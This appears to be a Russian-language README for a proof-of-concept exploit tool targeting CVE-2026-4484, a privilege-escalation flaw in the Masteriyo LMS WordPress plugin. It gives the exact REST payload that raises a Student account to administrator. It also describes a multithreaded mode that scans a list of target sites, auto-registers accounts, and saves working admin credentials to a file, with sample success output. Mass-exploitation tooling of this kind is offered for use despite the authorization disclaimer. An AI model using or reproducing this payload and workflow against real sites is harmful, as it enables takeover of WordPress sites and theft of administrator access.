
Masteriyo LMS <= 2.1.6 - Отсутствие авторизации: повышение привилегий аутентифицированного пользователя (Student+) до администратора
Masteriyo LMS <= 2.1.6 — Отсутствие проверки авторизации: повышение привилегий аутентифицированного пользователя (Student+) до администратора
Описание:
Плагин Masteriyo LMS для WordPress уязвим к повышению привилегий во всех версиях вплоть до 2.1.6 включительно. Уязвимость берёт начало в функции InstructorsController::prepare_object_for_database, которая не ограничивает должным образом назначение ролей во время REST API-запросов. Аутентифицированный злоумышленник, имеющий доступ уровня Student (или выше), может сформировать особым образом POST-запрос к конечной точке REST API Masteriyo — внедрив "roles": ["administrator"] в тело запроса, — чтобы незаметно повысить свою учётную запись до уровня администратора WordPress, получив полный контроль над сайтом без какого-либо участия администратора.
Это эксплойт Proof-of-Concept (PoC), предназначенный для WordPress-установок, на которых работает уязвимая версия плагина Masteriyo LMS. Инструмент поддерживает два режима атаки:
| Режим | Имя | Поток | Сценарий использования |
|---|
[Register / Login as Student]
↓
[Fetch Dashboard Context — user_id + nonce]
↓
[POST /wp-json/masteriyo/v1/users/instructors/{id}]
[Payload: {"roles": ["administrator"]}]
↓
[Re-login with fresh session]
↓
[Verify /wp-admin access → confirmed Administrator]
↓
[Write to Login_admin.txt]
pip install requests urllib3 colorama
Или через файл requirements:
pip install -r requirements.txt
requirements.txt:
requests>=2.28.0
urllib3>=1.26.0
colorama>=0.4.6
# Clone the repository
git clone https://github.com/Nxploited/CVE-2026-4484.git
cd CVE-2026-4484
# Install dependencies
pip install -r requirements.txt
# Run the tool
python3 CVE-2026-4484.py
python3 CVE-2026-4484.py
Инструмент использует интерактивный терминальный интерфейс — все параметры запрашиваются во время выполнения.
Создайте текстовый файл (например, list.txt) с одной целью в строке:
https://target1.com
https://target2.com
http://target3.com/wordpress
Используйте этот режим, если у вас нет существующей учётной записи на цели. Инструмент автоматически регистрирует новую учётную запись студента, а затем повышает её привилегии.
Select mode (1=Nx_1, 2=Nx_2) [2]: 1
Targets list file (one host/URL per line) [list.txt]: list.txt
Threads (concurrent sites) [5]: 5
HTTP timeout (seconds) [10]: 10
Username to register (Nx_1) [Nxploited]: Nxploited
Email to use for registration+login (Nx_1) [[email protected]]: [email protected]
Password to use (Nx_1) [Nx_admin]: Nx_admin123!
Выполняемые автоматически шаги:
/account/signup/ → извлечение nonce регистрации/st/ → регистрация новой учётной записи как Student/account/ → извлечение nonce для входа/wp-admin/admin-ajax.php → вход через Masteriyo AJAX/account/#/dashboard → извлечение current_user_id + nonce/wp-json/masteriyo/v1/users/instructors/{id} с телом {"roles":["administrator"]}Login_admin.txtИспользуйте этот режим, если у вас уже есть действующая учётная запись Student или Instructor на цели.
Select mode (1=Nx_1, 2=Nx_2) [2]: 2
Targets list file (one host/URL per line) [list.txt]: list.txt
Threads (concurrent sites) [5]: 5
HTTP timeout (seconds) [10]: 10
Username or Email for login+escalation (Nx_2) [admin]: [email protected]
Password for that user: mypassword
Выполняемые автоматически шаги:
/account/ → извлечение nonce для входа/wp-admin/admin-ajax.php → вход через Masteriyo AJAX/account/#/dashboard → извлечение current_user_id + nonce/wp-json/masteriyo/v1/users/instructors/{id} с телом {"roles":["administrator"]}Login_admin.txt| Файл | Описание |
|---|---|
Login_admin.txt | Все подтверждённые случаи повышения привилегий до администратора |
https://target.com/wp-login.php user:[email protected]|pass:Nx_admin123!
[OK] https://target.com :: LOGIN OK :: success
[OK] https://target.com :: DASHBOARD :: user_id=42 nonce=a1b2c3d4e5
[OK] https://target.com :: ESCALATE SUCCESS :: user_id=42 username=nxploited roles=['administrator']
[OK] https://target.com :: ADMIN SESSION VERIFIED (dashboard + plugin-install access).
POST /wp-json/masteriyo/v1/users/instructors/{user_id}
{
"roles": ["administrator"]
}
Content-Type: application/json
X-WP-Nonce: <extracted_from_dashboard>
Функция InstructorsController::prepare_object_for_database в Masteriyo LMS обрабатывает параметр roles из тела REST-запроса, не проверяя, обладает ли запрашивающий пользователь возможностями edit_users или promote_users. Любой аутентифицированный пользователь (уровня Student и выше), имеющий доступ к этой конечной точке, может отправить произвольное значение роли — в том числе administrator, — которое затем напрямую сохраняется в таблицу метаданных пользователей WordPress.
Автор: Nxploited (Khaled Alenazi)
ДАННЫЙ ИНСТРУМЕНТ ПРЕДОСТАВЛЕН ИСКЛЮЧИТЕЛЬНО ДЛЯ ОБРАЗОВАТЕЛЬНЫХ ЦЕЛЕЙ И САНКЦИОНИРОВАННЫХ ИССЛЕДОВАНИЙ БЕЗОПАСНОСТИ.
Автор, Nxploited (Khaled Alenazi), и все участники этого проекта не одобряют, не поддерживают и не несут никакой ответственности за неправомерное использование данного инструмента или любой ущерб, причинённый в результате использования этого ПО против систем, на которые у вас нет явного письменного разрешения.
- ✅ Разрешено: использование на системах, которыми вы владеете или на тестирование которых получили явное письменное разрешение.
- ❌ Запрещено: использование против любых систем без предварительного явного письменного разрешения владельца системы.
Несанкционированный доступ к компьютерным системам является незаконным и наказуем в соответствии с действующим законодательством, включая, помимо прочего, Computer Fraud and Abuse Act (CFAA), Computer Misuse Act (CMA) и эквивалентные законы по всему миру.
Используя этот инструмент, вы принимаете на себя полную ответственность за свои действия и подтверждаете, что имеете законные полномочия на тестирование указанных систем.
Автор не несёт никакой ответственности за любые прямые, косвенные, случайные или последующие убытки, возникшие в результате использования или неправильного использования этого ПО.
© 2026 Nxploited (Khaled Alenazi) — Только для санкционированных исследований безопасности.
| Поле | Сведения |
|---|
| ID CVE | CVE-2026-4484 |
| Критичность | ВЫСОКАЯ — оценка CVSS v3.1: 8.8 |
| Вектор | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| Затронутое ПО | Плагин Masteriyo LMS для WordPress |
| Затронутые версии | Все версии вплоть до 2.1.6 включительно |
| Тип уязвимости | Повышение привилегий (манипуляция ролями) |
| Требуется аутентификация | Да — уровень Student или выше |
| CWE | CWE-269: Improper Privilege Management |
| 1 | Nx_1 | Регистрация → Вход → Повышение привилегий → Проверка адм. доступа | Атака с нуля — существующая учётная запись не требуется |
| 2 | Nx_2 | Вход → Повышение привилегий → Проверка адм. доступа | Есть существующая учётная запись (Student/Instructor) |